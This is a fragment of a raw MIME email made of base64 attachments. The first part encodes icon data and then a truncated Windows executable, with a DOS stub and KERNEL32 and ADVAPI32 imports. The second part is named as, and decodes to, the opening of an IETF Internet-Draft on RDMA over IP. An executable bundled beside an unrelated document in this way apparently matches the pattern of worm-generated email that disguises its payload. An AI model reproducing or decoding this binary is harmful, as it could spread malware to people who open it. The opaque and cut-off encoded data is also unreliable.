B3cP////////8AAP//8HcAd3D//////////wAP//B3AHdwf/////////////9wdwB3cAAAAA AAAAAAAAAAAHcAd3d3d3d3d3d3d3d3d3d3AHd3d3d3d3d3d3d3d3d3dwAAAAAAAAAAAAAAAA AAAAAP///////////////+AAAAPgAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAAACAAAABAAAAAAQAIAAAAAAAABAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAADAwMAAwNzAAPDKpgAEBAQA CAgIAAwMDAAREREAFhYWABwcHAAiIiIAKSkpAFVVVQBNTU0AQkJCADk5OQCAfP8AUFD/AJMA 1gD/7MwAxtbvANbn5wCQqa0AAAAzAAAAZgAAAJkAAADMAAAzAAAAMzMAADNmAAAzmQAAM8wA ADP/AABmAAAAZjMAAGZmAABmmQAAZswAAGb/AACZAAAAmTMAAJlmAACZmQAAmcwAAJn/AADM AAAAzDMAAMxmAADMmQAAzMwAAMz/AAD/ZgAA/5kAAP/MADMAAAAzADMAMwBmADMAmQAzAMwA MwD/ADMzAAAzMzMAMzNmADMzmQAzM8wAMzP/ADNmAAAzZjMAM2ZmADNmmQAzZswAM2b/ADOZ AAAzmTMAM5lmADOZmQAzmcwAM5n/ADPMAAAzzDMAM8xmADPMmQAzzMwAM8z/ADP/MwAz/2YA M/+ZADP/zAAz//8AZgAAAGYAMwBmAGYAZgCZAGYAzABmAP8AZjMAAGYzMwBmM2YAZjOZAGYz zABmM/8AZmYAAGZmMwBmZmYAZmaZAGZmzABmmQAAZpkzAGaZZgBmmZkAZpnMAGaZ/wBmzAAA ZswzAGbMmQBmzMwAZsz/AGb/AABm/zMAZv+ZAGb/zADMAP8A/wDMAJmZAACZM5kAmQCZAJkA zACZAAAAmTMzAJkAZgCZM8wAmQD/AJlmAACZZjMAmTNmAJlmmQCZZswAmTP/AJmZMwCZmWYA mZmZAJmZzACZmf8AmcwAAJnMMwBmzGYAmcyZAJnMzACZzP8Amf8AAJn/MwCZzGYAmf+ZAJn/ zACZ//8AzAAAAJkAMwDMAGYAzACZAMwAzACZMwAAzDMzAMwzZgDMM5kAzDPMAMwz/wDMZgAA zGYzAJlmZgDMZpkAzGbMAJlm/wDMmQAAzJkzAMyZZgDMmZkAzJnMAMyZ/wDMzAAAzMwzAMzM ZgDMzJkAzMzMAMzM/wDM/wAAzP8zAJn/ZgDM/5kAzP/MAMz//wDMADMA/wBmAP8AmQDMMwAA /zMzAP8zZgD/M5kA/zPMAP8z/wD/ZgAA/2YzAMxmZgD/ZpkA/2bMAMxm/wD/mQAA/5kzAP+Z ZgD/mZkA/5nMAP+Z/wD/zAAA/8wzAP/MZgD/zJkA/8zMAP/M/wD//zMAzP9mAP//mQD//8wA Zmb/AGb/ZgBm//8A/2ZmAP9m/wD//2YAIQClAF9fXwB3d3cAhoaGAJaWlgDLy8sAsrKyANfX 1wDd3d0A4+PjAOrq6gDx8fEA+Pj4APD7/wCkoKAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A //8AAP///wAKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoHB0NDQxQUFBQUExMT ExMTExMTExQUFBQUFBRDBwcKBwfqD0NDQ0NDQ0MUFBQUFBQUFBQUFBRDQ0MUQ0NtBwfr6xRD Q0NDFBQUFBQUFBQUFBQUFBQUFBQUFBRDQxPs7OwPQ0NDQxQUFOwU7BTsFOwU7BTsFOwT7BQU FBQUQw/s7ENDQ0NDFBQUFBQUFBQUFBQUFBQUFBMTFBQUFBRDQxTsQxND7EPsFOwU7BTsFOwU 7BTsFOwU7BTsFOwUQ0MU7OwTE+3s7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsExTsTVqQAAMA AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA yAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAAHHbTbQ3zaiEN82ohDfNqILGPRiEB82oiEetyIQnzaiEN82ojrfdqI zWPJiEJ82ohSaWNoQ3zaiAAAAAAAAAAAAAAAAAAAAABQRQAATAEGAE4oPDgAAAAAmjoAAOAA BiMLAQUMABARAADwCAAAAAAAABAAAAAQAAAAIBEAAABAJAAQAAAAEAAABAAAAAAAAAAEAAAA AAAAAAAQGgAAEAAAbmYaAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAACAJBMAixoAAHQP EwA8AAAAAPATAIg5BQAAAAAAAAAAAAAAAAAAAAAAADAZAOC5AACgIxEAHAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAIAADQAAAAAIBEAnAMAANwAEwCAAAAAAAAAAAAA AAAAAAAAAAAAAC50ZXh0AAAAgQwQAAAQAAAAEBAAABAAAAAAAAAAAAAAAAAAACAAAGAub3Jw YwAAAJD+AAAAIBAAAAABAAAgEAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAALHwIAACARAAAg AgAAIBEAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAHKcAAABAEwAAgAAAAEATAAAAAAAAAAAA AAAAAEAAAMAucnNyYwAAAIg5BQAA8BMAAEAFAADAEwAAAAAAAAAAAAAAAABAAABALnJlbG9j AAAq0AAAADAZAADgAAAAABkAAAAAAAAAAAAAAAAAQAAAQrPCHzcYAAAAzaEgNyUAAAAAAAAA AAAAAEtFUk5FTDMyLmRsbABBRFZBUEkzMi5kbGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 JIXADz== --QW6419Rf876l52z0pS7P901m1e08 Content-Type: application/octet-stream; name=draft-romanow-rdma-over-ip-problem-statement-00.txt Content-Transfer-Encoding: base64 Content-ID: DQoNCg0KDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICBBbGx5biBSb21hbm93ICAgICAgKENpc2NvKQ0KSW50ZXJuZXQtZHJhZnQgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIEplZmYgTW9ndWwgICAgICAgIChDb21wYXEpDQpFeHBp cmVzOiBTZXB0ZW1iZXIgMjAwMiAgICAgICAgICAgICAgICAgICAgICAgVG9tIFRhbHBleSAg ICAgICAgKE5ldEFwcCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICBTdGVwaGVuIEJhaWxleSAoU2FuZGJ1cnN0KQ0KDQogICAgICAgICAgICAgICAg ICAgICBSRE1BIG92ZXIgSVAgUHJvYmxlbSBTdGF0ZW1lbnQNCiAgICAgICAgICBkcmFmdC1y b21hbm93LXJkbWEtb3Zlci1pcC1wcm9ibGVtLXN0YXRlbWVudC0wMC50eHQNCg0KDQpTdGF0 dXMgb2YgdGhpcyBNZW1vDQoNCiAgICAgVGhpcyBkb2N1bWVudCBpcyBhbiBJbnRlcm5ldC1E cmFmdCBhbmQgaXMgaW4gZnVsbCBjb25mb3JtYW5jZSB3aXRoDQogICAgIGFsbCBwcm92aXNp b25zIG9mIFNlY3Rpb24gMTAgb2YgUkZDMjAyNi4NCg0KICAgICBJbnRlcm5ldC1EcmFmdHMg YXJlIHdvcmtpbmcgZG9jdW1lbnRzIG9mIHRoZSBJbnRlcm5ldCBFbmdpbmVlcmluZw0KICAg ICBUYXNrIEZvcmNlIChJRVRGKSwgaXRzIGFyZWFzLCBhbmQgaXRzIHdvcmtpbmcgZ3JvdXBz LiAgTm90ZSB0aGF0DQogICAgIG90aGVyIGdyb3VwcyBtYXkgYWxzbyBkaXN0cmlidXRlIHdv cmtpbmcgZG9jdW1lbnRzIGFzIEludGVybmV0LQ0KICAgICBEcmFmdHMuDQoNCiAgICAgSW50 ZXJuZXQtRHJhZnRzIGFyZSBkcmFmdCBkb2N1bWVudHMgdmFsaWQgZm9yIGEgbWF4aW11bSBv ZiBzaXgNCiAgICAgbW9udGhzIGFuZCBtYXkgYmUgdXBkYXRlZCwgcmVwbGFjZWQsIG9yIG9i c29sZXRlZCBieSBvdGhlcg0KICAgICBkb2N1bWVudHMgYXQgYW55IHRpbWUuICBJdCBpcyBp bmFwcHJvcHJpYXRlIHRvIHVzZSBJbnRlcm5ldC1EcmFmdHMNCiAgICAgYXMgcmVmZXJlbmNl IG1hdGVyaWFsIG9yIHRvIGNpdGUgdGhlbSBvdGhlciB0aGFuIGFzICJ3b3JrIGluDQogICAg IHByb2dyZXNzLiINCg0KICAgICBUaGUgbGlzdCBvZiBjdXJyZW50IEludGVybmV0LURyYWZ0 cyBjYW4gYmUgYWNjZXNzZWQgYXQNCiAgICAgaHR0cDovL3d3dy5pZXRmLm9yZy9pZXRmLzFp ZC1hYnN0cmFjdHMudHh0DQoNCiAgICAgVGhlIGxpc3Qgb2YgSW50ZXJuZXQtRHJhZnQgU2hh ZG93IERpcmVjdG9yaWVzIGNhbiBiZSBhY2Nlc3NlZCBhdA0KICAgICBodHRwOi8vd3d3Lmll dGYub3JnL3NoYWRvdy5odG1sLg0KDQpDb3B5cmlnaHQgTm90aWNlDQoNCiAgICAgQ29weXJp Z2h0IChDKSBUaGUgSW50ZXJuZXQgU29jaWV0eSAoMjAwMikuIEFsbCBSaWdodHMgUmVzZXJ2 ZWQuDQoNCkFic3RyYWN0DQoNCiAgICAgVGhpcyBkcmFmdCBkZXNjcmliZXMgdGhlIHByb2Js ZW0gdGhhdCBjb3B5aW5nIGluIG5ldHdvcmsgSS9PDQogICAgIHR5cGljYWxseSBjYXVzZXMg aGlnaCBzeXN0ZW0gY29zdHMgaW4gZW5kLWhvc3RzIGF0IGhpZ2ggc3BlZWRzLg0KICAgICBU aGUgcHJvYmxlbSBpcyBkdWUgdG8gdGhlIGhpZ2ggY29zdCBvZiBtZW1vcnkgYmFuZHdpZHRo LCBhbmQgaXQgY2FuDQogICAgIGJlIHN1YnN0YW50aWFsbHkgaW1wcm92ZWQgdXNpbmcgImNv cHkgYXZvaWRhbmNlLiIgVGhlIGhpZ2ggb3ZlcmhlYWQNCiAgICAgaGFzIHByZXZlbnRlZCBU Q1AvSVAgZnJvbSBiZWluZyB1c2VkIGFzIGFuIGludGVyY29ubmVjdGlvbiBuZXR3b3JrLA0K ICAgICBhbmQgaW5zdGVhZCBzcGVjaWFsIHB1cnBvc2UgbWVtb3J5LXRvLW1lbW9yeSBmYWJy aWNzIGhhdmUgYmVlbg0KICAgICBkZXZlbG9wZWQgYW5kIHdpZGVseSB1c2VkLiAgQW4gSVAt YmFzZWQgc29sdXRpb24sIGRldmVsb3BlZCB3aXRoaW4NCiAgICAgdGhlIElFVEYsIGlzIGRl c2lyYWJsZSBmb3IgaW50ZXJvcGVyYWJpbGl0eSBvZiB2YXJpb3VzIG5ldHdvcmsNCiAgICAg ZmFicmljcy4gSXQgaXMgYWxzbyBwYXJ0aWN1bGFybHkgaW1wb3J0YW50IGZvciB0aGUgSUVU RiB0byBndWlkZQ0KICAgICB0aGUgc3RhbmRhcmRpemF0aW9uIGJlY2F1c2UgaW50ZXJjb25u ZWN0aW9uIHRlY2hub2xvZ3kgd2lsbCBzb29uDQogICAgIHN0YXJ0IHRvIGJlIHVzZWQgb3Zl ciB0aGUgd2lkZSBhcmVhIGluIHRoZSBJbnRlcm5ldC4NCg0KDQoNClJvbWFub3csIGV0IGFs ICAgICAgICAgICBFeHBpcmVzIFNlcHRlbWJlciAyMDAyICAgICAgICAgICAgICAgICBbUGFn ZSAxXQ0KDA0KSW50ZXJuZXQtRHJhZnQgICAgICAgUkRNQSBvdmVyIElQIFByb2JsZW0gU3Rh dGVtZW50ICAgICAgICAgIDIxIEZlYiAyMDAyDQoNCg0KVGFibGUgT2YgQ29udGVudHMNCg0K ICAgICAxLiAgIEludHJvZHVjdGlvbiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAu IC4gLiAuIC4gLiAuIC4gICAyDQogICAgIDIuICAgVGhlIGhpZ2ggY29zdCBvZiBkYXRhIG1v dmVtZW50IG9wZXJhdGlvbnMgaW4gbmV0d29yayBJL08gLiAgIDMNCiAgICAgMi4xLiBDb3B5 IGF2b2lkYW5jZSBpbXByb3ZlcyBwcm9jZXNzaW5nIG92ZXJoZWFkICAuIC4gLiAuIC4gLiAu ICAgNQ0KICAgICAzLiAgIE1lbW9yeSBiYW5kd2lkdGggaXMgdGhlIHJvb3QgY2F1c2Ugb2Yg dGhlIHByb2JsZW0gIC4gLiAuIC4gICA2DQogICAgIDQuICAgSGlnaCBjb3B5IG92ZXJoZWFk IGlzIHByb2JsZW1hdGljIGZvciBtYW55IGtleSBJbnRlcm5ldA0KICAgICAgICAgIGFwcGxp Y2F0aW9ucyAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4g ICA3DQogICAgIDUuICAgSG93IHJlbW90ZSBkaXJlY3QgbWVtb3J5IGFjY2VzcyAoUkRNQSkg Y2FuIHNvbHZlIHRoaXMNCiAgICAgICAgICBwcm9ibGVtICAuIC4gLiAuIC4gLiAuIC4gLiAu IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuICAgOQ0KICAgICA2LiAgIFdoeSB0aGlz IHByb2JsZW0gaXMgcmVsZXZhbnQgZm9yIHRoZSBJRVRGICAuIC4gLiAuIC4gLiAuIC4gIDEx DQogICAgIDcuICAgU2VjdXJpdHkgQ29uc2lkZXJhdGlvbnMgIC4gLiAuIC4gLiAuIC4gLiAu IC4gLiAuIC4gLiAuIC4gLiAgMTINCiAgICAgOC4gICBBY2tub3dsZWRnZW1lbnRzIC4gLiAu IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuICAxMg0KICAgICAgICAgIFJl ZmVyZW5jZXMgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAu IC4gIDEyDQogICAgICAgICAgQXV0aG9yJ3MgQWRkcmVzcyAuIC4gLiAuIC4gLiAuIC4gLiAu IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAgMTYNCiAgICAgICAgICBGdWxsIENvcHlyaWdodCBT dGF0ZW1lbnQgLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuICAxNw0KDQoNCjEu ICBJbnRyb2R1Y3Rpb24NCg0KICAgICBUaGlzIGRyYWZ0IGNvbnNpZGVycyB0aGUgcHJvYmxl bSBvZiBoaWdoIGhvc3QgcHJvY2Vzc2luZyBvdmVyaGVhZA0KICAgICBhc3NvY2lhdGVkIHdp dGggbmV0d29yayBJL08gdGhhdCBvY2N1cnMgdW5kZXIgaGlnaCBzcGVlZA0KICAgICBjb25k aXRpb25zLiBUaGlzIHByb2JsZW0gaXMgb2Z0ZW4gcmVmZXJyZWQgdG8gYXMgdGhlICJJL08N CiAgICAgYm90dGxlbmVjayIgW0NUOTBdLiBNb3JlIHNwZWNpZmljYWxseSwgdGhlIHNvdXJj ZSBvZiBoaWdoIG92ZXJoZWFkDQogICAgIHRoYXQgaXMgb2YgaW50ZXJlc3QgaGVyZSBpcyBk YXRhIG1vdmVtZW50IG9wZXJhdGlvbnMtLSBjb3B5aW5nLg0KICAgICBUaGlzIGlzc3VlIGlz IG5vdCBiZSBjb25mdXNlZCB3aXRoIFRDUCBvZmZsb2FkLCB3aGljaCBpcyBub3QNCiAgICAg YWRkcmVzc2VkIGhlcmUuIEhpZ2ggc3BlZWQgcmVmZXJzIHRvIGNvbmRpdGlvbnMgd2hlcmUg dGhlIG5ldHdvcmsNCiAgICAgbGluayBzcGVlZCBpcyBoaWdoIHJlbGF0aXZlIHRvIHRoZSBi YW5kd2lkdGhzIG9mIHRoZSBob3N0IENQVSBhbmQNCiAgICAgbWVtb3J5LiBXaXRoIHRvZGF5 J3MgY29tcHV0ZXIgc3lzdGVtcywgb25lIEdiaXRzL3MgYW5kIG92ZXIgaXMNCiAgICAgY29u c2lkZXJlZCBoaWdoIHNwZWVkLg0KDQogICAgIEhpZ2ggY29zdHMgYXNzb2NpYXRlZCB3aXRo IGNvcHlpbmcgaXMgYW4gaXNzdWUgcHJpbWFyaWx5IGZvciBsYXJnZQ0KICAgICBzY2FsZSBz 